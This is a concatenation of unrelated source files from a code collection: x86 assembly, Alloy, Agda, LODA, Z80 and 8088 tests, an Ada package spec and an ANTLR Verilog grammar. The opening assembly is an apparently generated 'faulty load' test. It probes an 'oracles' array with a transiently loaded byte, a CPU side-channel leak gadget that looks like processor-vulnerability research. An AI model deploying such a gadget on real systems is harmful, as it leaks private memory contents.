sub $58169, %rdx
lea addresses_UC_ht+0x2456, %rdi
nop
nop
nop
nop
dec %rax
mov $0x6162636465666768, %rdx
movq %rdx, %xmm3
movups %xmm3, (%rdi)
nop
nop
nop
add $12309, %rsi
lea addresses_normal_ht+0x190e, %rsi
lea addresses_UC_ht+0x7f36, %rdi
clflush (%rdi)
nop
nop
nop
nop
xor $61739, %r14
mov $17, %rcx
rep movsq
nop
add %r13, %r13
lea addresses_normal_ht+0x8d46, %rsi
lea addresses_D_ht+0x1ebb6, %rdi
nop
nop
nop
nop
and $56990, %rax
mov $12, %rcx
rep movsb
nop
nop
nop
nop
nop
xor $39912, %rdx
lea addresses_D_ht+0x140e, %rsi
lea addresses_normal_ht+0x1574e, %rdi
clflush (%rsi)
nop
nop
cmp $39197, %r12
mov $93, %rcx
rep movsw
nop
nop
nop
nop
and %r14, %r14
lea addresses_D_ht+0x17e9e, %rcx
nop
nop
nop
nop
cmp %r13, %r13
vmovups (%rcx), %ymm4
vextracti128 $0, %ymm4, %xmm4
vpextrq $0, %xmm4, %rax
nop
nop
nop
nop
sub %rax, %rax
lea addresses_WT_ht+0x13e24, %rax
nop
nop
nop
nop
sub %rdi, %rdi
movb (%rax), %r13b
cmp $41015, %r14
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rax
pop %r14
pop %r13
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %r9
push %rax
push %rdx
push %rsi
// Store
lea addresses_normal+0xc53e, %r11
nop
nop
sub $12590, %r10
movb $0x51, (%r11)
nop
nop
nop
nop
xor $23148, %r9
// Store
lea addresses_WC+0xf70e, %r9
nop
nop
sub %rax, %rax
mov $0x5152535455565758, %r10
movq %r10, (%r9)
nop
nop
nop
nop
nop
cmp %r9, %r9
// Store
lea addresses_normal+0x1c90e, %r9
nop
add $25247, %r10
mov $0x5152535455565758, %rdx
movq %rdx, %xmm0
vmovups %ymm0, (%r9)
nop
nop
nop
nop
sub $23366, %r11
// Store
mov $0x17f8b0000000d7c, %rax
nop
nop
nop
sub %rsi, %rsi
mov $0x5152535455565758, %r10
movq %r10, %xmm7
movups %xmm7, (%rax)
nop
xor $36932, %rdx
// Load
lea addresses_WC+0x10d3, %rax
nop
nop
and %r10, %r10
movb (%rax), %r9b
nop
nop
nop
nop
and %rax, %rax
// Store
lea addresses_A+0x1d0e, %r11
nop
sub $8727, %r15
movl $0x51525354, (%r11)
cmp $58858, %r11
// Store
lea addresses_WT+0xc0da, %rsi
nop
nop
nop
add $29966, %r15
mov $0x5152535455565758, %r11
movq %r11, (%rsi)
nop
nop
nop
nop
xor %rax, %rax
// Store
lea addresses_UC+0x12dce, %rax
cmp $54519, %rsi
movw $0x5152, (%rax)
nop
nop
nop
add $57160, %rsi
// Faulty Load
lea addresses_normal+0x1c90e, %r15
nop
nop
nop
inc %rsi
movntdqa (%r15), %xmm0
vpextrq $1, %xmm0, %r9
lea oracles, %rdx
and $0xff, %r9
shlq $12, %r9
mov (%rdx,%r9,1), %r9
pop %rsi
pop %rdx
pop %rax
pop %r9
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 4}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 8, 'congruent': 6}}
{'OP': 'STOR', 'dst': {'same': True, 'type': 'addresses_normal', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_NC', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 1}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WC', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_A', 'NT': False, 'AVXalign': True, 'size': 4, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT', 'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 6}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'same': True, 'type': 'addresses_normal', 'NT': True, 'AVXalign': False, 'size': 16, 'congruent': 0}}
<gen_prepare_buffer>
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 0, 'type': 'addresses_WT_ht'}, 'dst': {'same': False, 'congruent': 9, 'type': 'addresses_A_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 3}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_normal_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 10}}
{'OP': 'STOR', 'dst': {'same': False, 'type': 'addresses_UC_ht', 'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 2}}
{'OP': 'REPM', 'src': {'same': False, 'congruent': 10, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_UC_ht'}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 3, 'type': 'addresses_normal_ht'}, 'dst': {'same': False, 'congruent': 3, 'type': 'addresses_D_ht'}}
{'OP': 'REPM', 'src': {'same': True, 'congruent': 8, 'type': 'addresses_D_ht'}, 'dst': {'same': False, 'congruent': 6, 'type': 'addresses_normal_ht'}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_D_ht', 'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4}}
{'OP': 'LOAD', 'src': {'same': False, 'type': 'addresses_WT_ht', 'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 1}}
{'00': 658}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
alloy4fun_models/trainstlt/models/7/67r6uWNjgZXmYr6QE.als | Kaixi26/org.alloytools.alloy | 0 | 2197 | <gh_stars>0
open main
pred id67r6uWNjgZXmYr6QE_prop8 {
always (all t:Train |some t.pos and (t.pos.signal) in (Signal-Green) implies some t.pos.prox and (some t.pos') since ((t.pos'.signal) in Green))
}
pred __repair { id67r6uWNjgZXmYr6QE_prop8 }
check __repair { id67r6uWNjgZXmYr6QE_prop8 <=> prop8o } |
lib/Haskell/Prim/Num.agda | flupe/agda2hs | 0 | 14921 | {-# OPTIONS --no-auto-inline #-}
module Haskell.Prim.Num where
open import Agda.Builtin.Nat as Nat hiding (_+_; _-_; _*_; _<_; _==_)
open import Agda.Builtin.Int using (pos; negsuc)
open import Agda.Builtin.FromNat
open import Agda.Builtin.FromNeg
open import Agda.Builtin.Unit
open import Haskell.Prim
open import Haskell.Prim.Word
open import Haskell.Prim.Int
open import Haskell.Prim.Integer
open import Haskell.Prim.Double
open import Haskell.Prim.Eq
open import Haskell.Prim.Ord
open import Haskell.Prim.Monoid
--------------------------------------------------
-- Num
record Num (a : Set) : Set₁ where
infixl 6 _+_ _-_
infixl 7 _*_
field
MinusOK : a → a → Set
NegateOK : a → Set
FromIntegerOK : Integer → Set
_+_ : a → a → a
_-_ : (x y : a) → ⦃ MinusOK x y ⦄ → a
_*_ : a → a → a
negate : (x : a) → ⦃ NegateOK x ⦄ → a
abs : a → a
signum : a → a
fromInteger : (n : Integer) → ⦃ FromIntegerOK n ⦄ → a
overlap ⦃ number ⦄ : Number a
overlap ⦃ numZero ⦄ : number .Number.Constraint 0
overlap ⦃ numOne ⦄ : number .Number.Constraint 1
open Num ⦃ ... ⦄ public hiding (FromIntegerOK; number)
instance
iNumNat : Num Nat
iNumNat .MinusOK n m = IsFalse (n Nat.< m)
iNumNat .NegateOK 0 = ⊤
iNumNat .NegateOK (suc _) = ⊥
iNumNat .Num.FromIntegerOK (negsuc _) = ⊥
iNumNat .Num.FromIntegerOK (pos _) = ⊤
iNumNat ._+_ n m = n Nat.+ m
iNumNat ._-_ n m = n Nat.- m
iNumNat ._*_ n m = n Nat.* m
iNumNat .negate n = n
iNumNat .abs n = n
iNumNat .signum 0 = 0
iNumNat .signum (suc n) = 1
iNumNat .fromInteger (pos n) = n
iNumNat .fromInteger (negsuc _) ⦃ () ⦄
iNumInt : Num Int
iNumInt .MinusOK _ _ = ⊤
iNumInt .NegateOK _ = ⊤
iNumInt .Num.FromIntegerOK _ = ⊤
iNumInt ._+_ x y = addInt x y
iNumInt ._-_ x y = subInt x y
iNumInt ._*_ x y = mulInt x y
iNumInt .negate x = negateInt x
iNumInt .abs x = absInt x
iNumInt .signum x = signInt x
iNumInt .fromInteger n = integerToInt n
iNumInteger : Num Integer
iNumInteger .MinusOK _ _ = ⊤
iNumInteger .NegateOK _ = ⊤
iNumInteger .Num.FromIntegerOK _ = ⊤
iNumInteger ._+_ x y = addInteger x y
iNumInteger ._-_ x y = subInteger x y
iNumInteger ._*_ x y = mulInteger x y
iNumInteger .negate x = negateInteger x
iNumInteger .abs x = absInteger x
iNumInteger .signum x = signInteger x
iNumInteger .fromInteger n = n
iNumWord : Num Word
iNumWord .MinusOK _ _ = ⊤
iNumWord .NegateOK _ = ⊤
iNumWord .Num.FromIntegerOK _ = ⊤
iNumWord ._+_ x y = addWord x y
iNumWord ._-_ x y = subWord x y
iNumWord ._*_ x y = mulWord x y
iNumWord .negate x = negateWord x
iNumWord .abs x = x
iNumWord .signum x = if x == 0 then 0 else 1
iNumWord .fromInteger n = integerToWord n
iNumDouble : Num Double
iNumDouble .MinusOK _ _ = ⊤
iNumDouble .NegateOK _ = ⊤
iNumDouble .Num.FromIntegerOK _ = ⊤
iNumDouble ._+_ x y = primFloatPlus x y
iNumDouble ._-_ x y = primFloatMinus x y
iNumDouble ._*_ x y = primFloatTimes x y
iNumDouble .negate x = primFloatMinus 0.0 x
iNumDouble .abs x = if x < 0.0 then primFloatMinus 0.0 x else x
iNumDouble .signum x = case compare x 0.0 of λ where
LT → -1.0
EQ → x
GT → 1.0
iNumDouble .fromInteger (pos n) = fromNat n
iNumDouble .fromInteger (negsuc n) = fromNeg (suc n)
MonoidSum : ⦃ iNum : Num a ⦄ → Monoid a
MonoidSum .mempty = 0
MonoidSum .super ._<>_ = _+_
MonoidProduct : ⦃ iNum : Num a ⦄ → Monoid a
MonoidProduct .mempty = 1
MonoidProduct .super ._<>_ = _*_
|
oeis/242/A242126.asm | neoneye/loda-programs | 11 | 95317 | <filename>oeis/242/A242126.asm
; A242126: Primes modulo 28.
; Submitted by Jon Maiga
; 2,3,5,7,11,13,17,19,23,1,3,9,13,15,19,25,3,5,11,15,17,23,27,5,13,17,19,23,25,1,15,19,25,27,9,11,17,23,27,5,11,13,23,25,1,3,15,27,3,5,9,15,17,27,5,11,17,19,25,1,3,13,27,3,5,9,23,1,11,13,17,23,3,9,15,19,25,5,9,17,27,1,11,13,19,23,1,9,13,15,19,3,11,15,23,27,5,17,19,9
mul $0,2
max $0,1
seq $0,173919 ; Numbers that are prime or one less than a prime.
mod $0,28
|
other.7z/SFC.7z/SFC/ソースデータ/ゼルダの伝説神々のトライフォース/日本_Ver3/asm/zel_code1.asm | prismotizm/gigaleak | 0 | 170339 | Name: zel_code1.asm
Type: file
Size: 15505
Last-Modified: '2016-05-13T04:36:32Z'
SHA-1: 00DD3498DC5384072928BF8FAD638B21AA953DA1
Description: null
|
test/jzas/sintactic/valid/success40.asm | scoffey/jz80sim | 1 | 246026 | ; Ejercicio 12 del TP 12.
; Incrementea el contenido de la posicion 1900h
; hasta que se active el flag de carry
aseg
org 1850h
start:
ld A, (1900h)
sigue: inc A
jp NC,sigue
rst 38h
end start
|
uw1/scaleRotationSpeed.asm | JohnGlassmyer/UltimaHacks | 68 | 164109 | %ifndef EXE_LENGTH
%include "../UltimaPatcher.asm"
%include "include/uw1.asm"
%endif
[bits 16]
startPatch EXE_LENGTH, \
scale the speed at which the player turns
startBlockAt seg_dseg, dseg_rotationSpeedBase
; player rotation (yaw) speed is proportional to this value
; original is 15
dw 15
endBlock
endPatch
|
programs/max-throughput.asm | Michael-JB/superscalar-processor | 0 | 240318 | init: move r1 0 # Initialise counter
move r8 1000 # Number of iterations
start: sai r0 0
addi r1 r1 1
subi r2 r2 0
bne r3 r4 1
sai r5 1
addi r6 r6 1
subi r7 r7 0
blt r1 r8 start |
8088/xtserver/testcases/image_time.asm | reenigne/reenigne | 92 | 89410 | %include "../../defaults_bin.asm"
initCGA 0x08
mov ax,0xb800
mov es,ax
mov di,0
mov ax,0x072d ; '-'
stosw
mov cx,0x0930
mov bl,0
mov dx,0x3da
loopTop3:
waitForVerticalSync
waitForNoVerticalSync
mov ax,cx
stosw
inc cl
cmp cl,'9'
jle loopTop3
mov cl,'0'
inc bl
cmp bl,30
jne loopTop3
int 0x60
mov cx,0x0730
mov bl,0
mov dx,0x3da
loopTop:
waitForVerticalSync
waitForNoVerticalSync
mov ax,cx
stosw
inc cl
cmp cl,'9'
jle loopTop
mov cl,'0'
inc bl
cmp bl,30
jne loopTop
; initCGA 0x08
;
; mov ax,0xb800
; mov es,ax
; mov di,0
; mov ax,0x072d ; '-'
; stosw
int 0x60
mov al,'-'
int 0x65
mov al,'-'
int 0x65
mov al,'-'
int 0x65
mov al,'-'
int 0x65
mov al,'-'
int 0x65
mov cx,0x0c30
mov bl,0
mov dx,0x3da
loopTop2:
waitForVerticalSync
waitForNoVerticalSync
mov ax,cx
stosw
inc cl
cmp cl,'9'
jle loopTop2
mov cl,'0'
inc bl
cmp bl,30
jne loopTop2
int 0x67
|
src/natools-smaz_tools.ads | faelys/natools | 0 | 18947 | <filename>src/natools-smaz_tools.ads<gh_stars>0
------------------------------------------------------------------------------
-- Copyright (c) 2016, <NAME> --
-- --
-- Permission to use, copy, modify, and distribute this software for any --
-- purpose with or without fee is hereby granted, provided that the above --
-- copyright notice and this permission notice appear in all copies. --
-- --
-- THE SOFTWARE IS PROVIDED "AS IS" AND THE AUTHOR DISCLAIMS ALL WARRANTIES --
-- WITH REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF --
-- MERCHANTABILITY AND FITNESS. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR --
-- ANY SPECIAL, DIRECT, INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES --
-- WHATSOEVER RESULTING FROM LOSS OF USE, DATA OR PROFITS, WHETHER IN AN --
-- ACTION OF CONTRACT, NEGLIGENCE OR OTHER TORTIOUS ACTION, ARISING OUT OF --
-- OR IN CONNECTION WITH THE USE OR PERFORMANCE OF THIS SOFTWARE. --
------------------------------------------------------------------------------
------------------------------------------------------------------------------
-- Natools.Smaz_Tools provides dictionary-independant tools to deal with --
-- word lists and prepare dictionary creation. --
-- Note that the dictionary is intended to be generated and hard-coded, --
-- so the final client shouldn't need this package. --
------------------------------------------------------------------------------
with Ada.Containers.Indefinite_Doubly_Linked_Lists;
with Natools.S_Expressions;
private with Ada.Containers.Indefinite_Ordered_Maps;
private with Ada.Containers.Indefinite_Ordered_Sets;
private with Ada.Finalization;
package Natools.Smaz_Tools is
pragma Preelaborate;
package String_Lists is new Ada.Containers.Indefinite_Doubly_Linked_Lists
(String);
procedure Read_List
(List : out String_Lists.List;
Descriptor : in out S_Expressions.Descriptor'Class);
-- Read atoms from Descriptor to fill List
List_For_Linear_Search : String_Lists.List;
function Linear_Search (Value : String) return Natural;
-- Function and data source for inefficient but dynamic function
-- that can be used with Dictionary.Hash.
procedure Set_Dictionary_For_Map_Search (List : in String_Lists.List);
function Map_Search (Value : String) return Natural;
-- Function and data source for logarithmic search using standard
-- ordered map, that can be used with Dictionary.Hash.
type Search_Trie is private;
procedure Initialize (Trie : out Search_Trie; List : in String_Lists.List);
function Search (Trie : in Search_Trie; Value : in String) return Natural;
-- Trie-based search in a dynamic dictionary, for lookup whose
-- speed-vs-memory is even more skewed towards speed.
procedure Set_Dictionary_For_Trie_Search (List : in String_Lists.List);
function Trie_Search (Value : String) return Natural;
-- Function and data source for trie-based search that can be
-- used with Dictionary.Hash.
function Dummy_Hash (Value : String) return Natural;
-- Placeholder for Hash dictionary member, always raises Program_Error
type String_Count is range 0 .. 2 ** 31 - 1;
-- Type for a number of substring occurrences
package Methods is
type Enum is (Encoded, Frequency, Gain);
end Methods;
-- Evaluation methods to select words to remove or include
type Word_Counter is private;
-- Accumulate frequency/occurrence counts for a set of strings
procedure Add_Word
(Counter : in out Word_Counter;
Word : in String;
Count : in String_Count := 1);
-- Include Count number of occurrences of Word in Counter
procedure Add_Substrings
(Counter : in out Word_Counter;
Phrase : in String;
Min_Size : in Positive;
Max_Size : in Positive);
-- Include all the substrings of Phrase whose lengths are
-- between Min_Size and Max_Size.
procedure Add_Words
(Counter : in out Word_Counter;
Phrase : in String;
Min_Size : in Positive;
Max_Size : in Positive);
-- Add the "words" from Phrase into Counter, with a word being currently
-- defined as anything between ASCII blanks or punctuation,
-- or in other words [0-9A-Za-z\x80-\xFF]+
procedure Filter_By_Count
(Counter : in out Word_Counter;
Threshold_Count : in String_Count);
-- Remove from Counter all entries whose count is below the threshold
function Simple_Dictionary
(Counter : in Word_Counter;
Word_Count : in Natural;
Method : in Methods.Enum := Methods.Encoded)
return String_Lists.List;
-- Return the Word_Count words in Counter that have the highest score,
-- the score being count * length.
procedure Simple_Dictionary_And_Pending
(Counter : in Word_Counter;
Word_Count : in Natural;
Selected : out String_Lists.List;
Pending : out String_Lists.List;
Method : in Methods.Enum := Methods.Encoded;
Max_Pending_Count : in Ada.Containers.Count_Type
:= Ada.Containers.Count_Type'Last);
-- Return in Selected the Word_Count words in Counter that have the
-- highest score, and in Pending the remaining words,
-- the score being count * length.
type Score_Value is range 0 .. 2 ** 31 - 1;
function Score_Encoded
(Count : in String_Count; Length : in Positive) return Score_Value
is (Score_Value (Count) * Score_Value (Length));
-- Score value using the amount of encoded data by the element
function Score_Frequency
(Count : in String_Count; Length : in Positive) return Score_Value
is (Score_Value (Count));
-- Score value using the number of times the element was used
function Score_Gain
(Count : in String_Count; Length : in Positive) return Score_Value
is (Score_Value (Count) * (Score_Value (Length) - 1));
-- Score value using the number of bytes saved using the element
function Score
(Count : in String_Count;
Length : in Positive;
Method : in Methods.Enum)
return Score_Value
is (case Method is
when Methods.Encoded => Score_Encoded (Count, Length),
when Methods.Frequency => Score_Frequency (Count, Length),
when Methods.Gain => Score_Gain (Count, Length));
-- Scare value with dynamically chosen method
private
package Word_Maps is new Ada.Containers.Indefinite_Ordered_Maps
(String, String_Count);
type Word_Counter is record
Map : Word_Maps.Map;
end record;
type Scored_Word (Size : Natural) is record
Word : String (1 .. Size);
Score : Score_Value;
end record;
function "<" (Left, Right : Scored_Word) return Boolean
is (Left.Score > Right.Score
or else (Left.Score = Right.Score and then Left.Word < Right.Word));
function To_Scored_Word
(Cursor : in Word_Maps.Cursor;
Method : in Methods.Enum)
return Scored_Word;
package Scored_Word_Sets is new Ada.Containers.Indefinite_Ordered_Sets
(Scored_Word);
package Dictionary_Maps is new Ada.Containers.Indefinite_Ordered_Maps
(String, Natural);
Search_Map : Dictionary_Maps.Map;
type Trie_Node;
type Trie_Node_Access is access Trie_Node;
type Trie_Node_Array is array (Character) of Trie_Node_Access;
type Trie_Node (Is_Leaf : Boolean) is new Ada.Finalization.Controlled
with record
Index : Natural;
case Is_Leaf is
when True => null;
when False => Children : Trie_Node_Array;
end case;
end record;
overriding procedure Adjust (Node : in out Trie_Node);
overriding procedure Finalize (Node : in out Trie_Node);
type Search_Trie is record
Not_Found : Natural;
Root : Trie_Node (False);
end record;
Trie_For_Search : Search_Trie;
end Natools.Smaz_Tools;
|
src/Verilog.g4 | cw1997/verilog-parser | 3 | 5991 | grammar Verilog;
//@header{package me.changwei.verilog.parser;}
options {
}
// grammer
start: moduleHeader moduleBody moduleFooter EOF;
moduleHeader: MODULE ID parameterBlock? portBlock? SEMICOLON;
//#(parameterList?)
parameterBlock: POUND PARENTHESIS_LEFT parameterList? PARENTHESIS_RIGHT;
//parameter netName1 = 123, netName2 = 7'd456
parameterList: PARAMETER parameterItem (COMMA parameterItem)*;
parameterItem: parameterName (EQUAL NUMBER_INTEGER)?;
parameterName: ID;
//(portList) or (A, B, CI, DIFF, CO);
portBlock: PARENTHESIS_LEFT portList? PARENTHESIS_RIGHT;
//input i1, i2
portList: portItem (COMMA portItem)*;
//output wire [3:0] o1, o2
portField: PORT_DIRECTION netType? bitRange? portNameList;
portItem: portField|portName;
//o3, o4,
portNameList: portName (COMMA portName)*;
portName: ID;
//input [ width-1 : 0] A, B;
portItemStatement: portField SEMICOLON;
moduleBody:
( assign
| paramList
| portItemStatement
| wireList
| regList
| always
| instance
| task
)*
;
moduleFooter: ENDMODULE;
//========================================
variable: NUMBER_INTEGER|ID;
operand: (((ADD|SUB)?OPERATOR_UNARY)|((ADD|SUB)OPERATOR_UNARY?))?variable;
lValue: ID;
rValue
: rValue (MUL|DIV|MOD) rValue
| rValue (ADD|SUB) rValue
| rValue (SHIFT_LEFT|SHIFT_RIGHT) rValue
| rValue (LESS_THAN|LESS_THAN_EQUAL|GRATER_THAN|GRATER_THAN_EQUAL) rValue
| rValue (DOUBLE_EQUAL|DOUBLE_NONEQUAL) rValue
| rValue (OPERATOR_BOOLEAN_SYMBOL_SINGLE) rValue
| rValue (OPERATOR_BOOLEAN_SYMBOL_DOUBLE) rValue
| rValue QUESTION_MARK rValue COLON rValue
| operand
| PARENTHESIS_LEFT rValue PARENTHESIS_RIGHT
;
//assign wire1 = 8'b1234_5678;
assign: ASSIGN lValue EQUAL rValue SEMICOLON;
//localparam netName1 = 123, netName2 = 7'd456;
paramList: (localparamList|parameterList) SEMICOLON;
localparamList: LOCALPARAM localparamItem (COMMA localparamItem)*;
localparamItem: lValue EQUAL NUMBER_INTEGER;
//wire [7:0] netName = 123;
//wire [7:0] netName1 = 123, netName2 = 7'd456;
//wire netName = 123;
//wire netName1 = 123, netName2 = 7'd456;
wireList: netType bitRange? wireItem (COMMA wireItem)* SEMICOLON;
wireItem: lValue EQUAL rValue;
//reg [7:0] netName = 123;
//reg [7:0] netName1 = 123, netName2 = 7'd456;
//reg netName = 123;
//reg netName1 = 123, netName2 = 7'd456;
regList: netType bitRange? regItem (COMMA regItem)* SEMICOLON;
regItem: lValue;
//always @(eventList|*) begin alwaysBody* end;
//always @() begin alwaysBody* end;
//always begin alwaysBody* end;
always: ALWAYS (AT PARENTHESIS_LEFT (eventList|eventAny)? PARENTHESIS_RIGHT)? BEGIN alwaysBody END;
alwaysBody: (statement|conditionBlock|taskCall|sensitiveStatement)*;
//end always
//@(clk,rst_n)
//@(posedge clk or negedge rst_n)
sensitive: AT PARENTHESIS_LEFT eventList? PARENTHESIS_RIGHT;
//(clk,rst_n)
sensitiveStatement: AT PARENTHESIS_LEFT eventList PARENTHESIS_RIGHT SEMICOLON;
eventAny: '*';
//posedge clk or negedge rst_n
eventList: eventListOR|eventListCOMMA;
eventListOR: eventItem ('or' eventItem)*;
eventListCOMMA: lValue (COMMA lValue)*;
//posedge clk
eventItem: EDGE? lValue;
//task block
task: TASK ID SEMICOLON taskDefinitionList BEGIN taskBody END ENDTASK;
taskDefinitionList: (portItemStatement|wireList|regList|defineInteger)*;
taskBody: (sensitive|statement|repeat)*;
taskCall: ID (PARENTHESIS_LEFT nameList? PARENTHESIS_RIGHT)? SEMICOLON;
//end task block
repeat: REPEAT PARENTHESIS_LEFT NUMBER_INTEGER PARENTHESIS_RIGHT codeBlock;
defineInteger: INTEGER nameList SEMICOLON;
nameList: ID (COMMA ID)*;
statement: lValue assignment rValue SEMICOLON;
//condition
conditionBlock: IF condition (codeBlock|(ELSE (codeBlock|conditionBlock)))+;
condition: PARENTHESIS_LEFT rValue PARENTHESIS_RIGHT;
codeBlock:
BEGIN (statement|conditionBlock)* END
|
(statement|conditionBlock SEMICOLON)
;
//end condition
//module_name #(.clk_freq(50_000_000),.flag ( 1 )) instance_name (.clk(clk), .rst_n(rst_n));
instance: ID instanceParameter? ID? PARENTHESIS_LEFT instancePortList? PARENTHESIS_RIGHT SEMICOLON;
instanceParameter: POUND PARENTHESIS_LEFT instanceParameterList? PARENTHESIS_RIGHT;
instanceParameterList: instanceParameterItem (COMMA instanceParameterItem)*;
instancePortList: instanceParameterItem (COMMA instanceParameterItem)*;
//.p1(net)
//net
instanceParameterItem
: DOT lValue PARENTHESIS_LEFT rValue? PARENTHESIS_RIGHT
| rValue
;
//[7:0] [:0] [7:] [:]
//[ width-1 : 0]
bitRange: BRACKET_LEFT rValue? COLON rValue? BRACKET_RIGHT;
assignment: EQUAL|LESS_THAN_EQUAL;
netType: WIRE|REG;
//operator: OPERATOR_BOOLEAN_TEXT|OPERATOR_BOOLEAN_SYMBOL_SINGLE|OPERATOR_BOOLEAN_SYMBOL_DOUBLE;
// lexer
SPACE: [ \t]+ -> skip;
BREAK_LINE: [\r\n]+ -> skip;
COMMENT: '//' .*? ('\r'? '\n' | EOF) -> skip;
PARENTHESIS_LEFT: '(';
PARENTHESIS_RIGHT: ')';
BRACKET_LEFT: '[';
BRACKET_RIGHT: ']';
PORT_DIRECTION: 'input'|'output'|'inout';
EDGE: 'posedge'|'negedge';
INTEGER: 'integer';
COMMA: ',';
SEMICOLON: ';';
COLON: ':';
POUND: '#';
DOT: '.';
QUESTION_MARK: '?';
MODULE: 'module';
ENDMODULE: 'endmodule';
TASK: 'task';
ENDTASK: 'endtask';
REPEAT: 'repeat';
PARAMETER: 'parameter';
LOCALPARAM: 'localparam';
ASSIGN: 'assign';
ALWAYS: 'always';
AT: '@';
BEGIN: 'begin';
END: 'end';
IF: 'if';
ELSE: 'else';
WIRE: 'wire';
REG: 'reg';
OPERATOR_BOOLEAN_TEXT: 'and'|'or'|'xor'|'not';
//OPERATOR_BOOLEAN_SYMBOL: OPERATOR_BOOLEAN_SYMBOL_DOUBLE|OPERATOR_BOOLEAN_SYMBOL_SINGLE;
//OPERATOR_ARITHMETIC: '*'|'/'|'+'|'-';
EQUAL: '=';
//operator order by priority
OPERATOR_UNARY: '~'|'!';
MOD: '%';
MUL: '*';
DIV: '/';
ADD: '+';
SUB: '-';
SHIFT_LEFT: '<<';
SHIFT_RIGHT: '>>';
LESS_THAN: '<';
LESS_THAN_EQUAL: '<=';
GRATER_THAN: '>';
GRATER_THAN_EQUAL: '>=';
DOUBLE_EQUAL: '==';
DOUBLE_NONEQUAL: '!==';
OPERATOR_BOOLEAN_SYMBOL_SINGLE: '&'|'|'|'^';
OPERATOR_BOOLEAN_SYMBOL_DOUBLE: '&&'|'||'|'^^';
fragment UNDERLINE: '_';
fragment LETTER: [a-zA-Z];
fragment DIGIT_HEX_WITHOUT_ZERO: [1-9a-fA-F];
fragment DIGIT_HEX: ('0'|DIGIT_HEX_WITHOUT_ZERO);
